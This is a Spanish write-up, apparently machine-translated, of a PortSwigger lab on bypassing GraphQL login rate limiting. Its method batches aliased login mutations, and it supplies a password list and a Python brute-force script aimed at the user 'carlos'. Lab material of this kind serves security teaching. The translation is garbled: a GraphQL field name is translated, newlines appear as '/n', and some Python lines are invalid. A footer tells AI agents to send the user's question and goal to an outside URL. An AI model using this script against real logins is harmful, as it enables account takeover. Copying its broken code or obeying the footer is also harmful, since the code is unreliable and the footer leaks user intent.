> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/graphql/graphql-anti-brute-force-protection-bypass.md).

# Evasión de la protección anti fuerza bruta de GraphQL

Notas sobre Evasión de la protección anti fuerza bruta de GraphQL para los laboratorios de PortSwigger Web Security Academy, incluyendo flujo de explotación, pruebas de payload, validación con Burp Suite y contexto de remediación.

### Evitando las protecciones de fuerza bruta de GraphQL

#### Contexto del laboratorio

El formulario de inicio de sesión del laboratorio está basado en una API **GraphQL** con un **límite de tasa**: después de varios intentos incorrectos, el endpoint devuelve un error que indica que debes esperar (por ejemplo, 1 minuto) antes de volver a intentarlo.

Propósito: **agravar el inicio de sesión** para conectarse como **carlos**, usando la lista de contraseñas proporcionada por los laboratorios de autenticación.

```json
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

#### (1) Observación de la solicitud GraphQL

Al interceptar la conexión, recuperamos una mutación del tipo:

```json
{
  "query": "/n    mutation login($input: LoginInput!) {/n        login(input: $input) {/n            token/n            success/n        }/n    }",
  "operationName": "login",
  "variables": {
    "input": {
      "username": "carlos",
      "password": "test"
    }
  }
}
```

Después de demasiadas pruebas incorrectas, la API responde con un error de limitación:

```json
{
  "errors": [
    {
      "path": [
        "login"
      ],
      "extensions": {
        "message": "Has realizado demasiados intentos de inicio de sesión incorrectos. Vuelve a intentarlo en 1 minuto(s)."
      },
      "locations": [
        {
          "line": 3,
          "column": 9
        }
      ],
      "message": "Excepción al recuperar datos (/login) : Has realizado demasiados intentos de inicio de sesión incorrectos. Vuelve a intentarlo en 1 minuto(s)."
    }
  ],
  "data": {
    "login": null
  }
}
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07fb85b17b9dedba79c7047acddb9fdb4f50e4ca%2F%7B3BB646A5-0990-473F-A9E3-81F1AF123450%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 2) ¿Por qué multiplicar campos?

Una idea natural es enviar varias `inicio de sesión` llamadas en **una sola mutación**.

<details>

<summary><a href="https://portswigger.net/web-security/authentication/auth-lab-passwords">Contraseñas de los laboratorios de autenticación</a></summary>

123456/ password/ 12345678/ qwerty/ 123456789/ 12345/ 1234/ 111111/ 1234567/ dragon/ 123123/ baseball/ abc123/ football/ monkey/ letmein/ shadow/ master/ 666666/ qwertyuiop/ 123321/ mustang/ 1234567890/ michael/ 654321/ superman/ 1qaz2wsx/ 7777777/ 121212/ 000000/ qazwsx/ 123qwe/ killer/ trustno1/ jordan/ jennifer/ zxcvbnm/ asdfgh/ hunter/ buster/ soccer/ harley/ batman/ andrew/ tigger/ sunshine/ iloveyou/ 2000/ charlie/ robert/ thomas/ hockey/ ranger/ daniel/ starwars/ klaster/ 112233/ george/ computer/ michelle/ jessica/ pepper/ 1111/ zxcvbn/ 555555/ 11111111/ 131313/ freedom/ 777777/ pass/ maggie/ 159753/ aaaaaa/ ginger/ princess/ joshua/ cheese/ amanda/ summer/ love/ ashley/ nicole/ chelsea/ biteme/ matthew/ access/ yankees/ 987654321/ dallas/ austin/ thunder/ taylor/ matrix/ mobilemail/ mom/ monitor/ monitoring/ montana/ moon/ moscow

</details>

Pero si repetimos el mismo campo sin distinción, GraphQL lo rechaza porque los campos serían ambiguos (mismo nombre al mismo nivel).

```graphql
 mutation login($input: LoginInput!) {
        login(input: $input) {
            token
            éxito
        }
    }
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97f6789bab57f195b1ae0ee4ef43cb828d7df391%2F%7B0F7BAFE4-E404-4570-9590-22D491E764F0%7D.png?alt=media" alt="" width="473"><figcaption></figcaption></figure>

Ejemplo inválido (estructura incorrecta / colisión de campos):

```graphql
mutation login {
  login(input: { username: "carlos", password: "test" }) {
    token
    éxito
  }
}
```

```graphql
mutation{
  login(input: { username: "carlos", password: "test" }) {
    token
    éxito
  }
}
  login(input: { username: "carlos", password: "hack" }) {
    token
    éxito
  }
}
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ef1aeaab8abaae771890202fd8347744a639321%2F%7B9903BD87-1B69-48AB-BA8C-0092EDD967AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 3) Contorneado: Uso de alias

GraphQL permite renombrar cada llamada usando **alias**. / Así, puedes ejecutar **varios intentos de inicio de sesión en una sola solicitud HTTP**, lo que reduce el impacto del límite de tasa

Ejemplo válido:

```graphql
mutation login{
  loginTest: login(input: { username: "carlos", password: "test" }) {
    token
    éxito
  }

  loginHack: login(input: { username: "carlos", password: "hack" }) {
    token
    éxito
  }
}
```

Como resultado, la API procesa varias pruebas en una sola ventana para limitar el lado del bazo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3864c0779c02c50acee3fac1cc0bd233355c606e%2F%7B80211AF3-A149-4115-A626-E41A2B642C13%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 4) Automatización (enfoque con script)

Principio:

* Construir `mutation login {... }`
* Añade una línea por contraseña:
* `login{i}: login(input: { username: "carlos", password: "..." }) { token success }`
* Enviar solicitud
* Explorar `data.login{i}` para encontrar `éxito: true`

```python
import requests
import time

url = "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/graphql/v1"
headers = {
    "Content-Type": "application/json",
    "Cookie": "session=JS5JG4wreF5dGV62An3DXhBbLN1Z3Hch",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0",
    "Referer": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/login",
    "Origin": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net"
}

passwords = ["123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", "montana", "moon", "moscow"]

def brute_force_all_at_once():
    [*] Creando consulta GraphQL con todas las contraseñas...

    query = "mutation login {/n"
    for i, pwd in enumerate(passwords):
        query += f'  login{i}: login(input: {{ username: "carlos", password: "{pwd}" }}) {{/n    token/n    success/n  }}/n'
    query += "}"

    [*] Longitud de la consulta: {len(query)} caracteres
    [*] Probando {len(passwords)} contraseñas a la vez...

    payload = {"query": query}

    start_time = time.time()

    try:
        response = requests.post(url, json=payload, headers=headers, timeout=10)

        if response.status_code == 200:
            data = response.json()

            for i, pwd in enumerate(passwords):
                result = data.get("data", {}).get(f"login{i}")
                if result and result.get("success"):
                    print("/n[+] ¡Éxito!")
                    print("[+] Nombre de usuario: carlos")
                    print("[+] Contraseña: {pwd}")
                    print(f"[+] Token: {result.get('token')}")
                    print(f"[+] Tiempo: {time.time() - start_time:.2f} segundos")
                    return True
            else:
                print("[-] La contraseña no se encontró en la lista")
        else:
            print(f"[-] Error HTTP: {response.status_code}")
            print(response.text[:200])

    except requests.exceptions.RequestException as e:
        print(f"[-] La solicitud falló: {e}")

    return False

if __name__ == "__main__":
    print("=" * 50)
    print("Ataque de fuerza bruta GraphQL")
    print("Usando alias para evitar la limitación de tasa")
    print("=" * 50)

    if brute_force_all_at_once():
        print("/n[+] ¡Ataque completado con éxito!")
    else:
        print("/n[-] Ataque fallido")
```

La contraseña encontrada para **carlos** es:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82c6a35ee7a58a066f36721921e0fbbf670ddb9f%2Fimage%20(89).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/graphql/graphql-anti-brute-force-protection-bypass.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
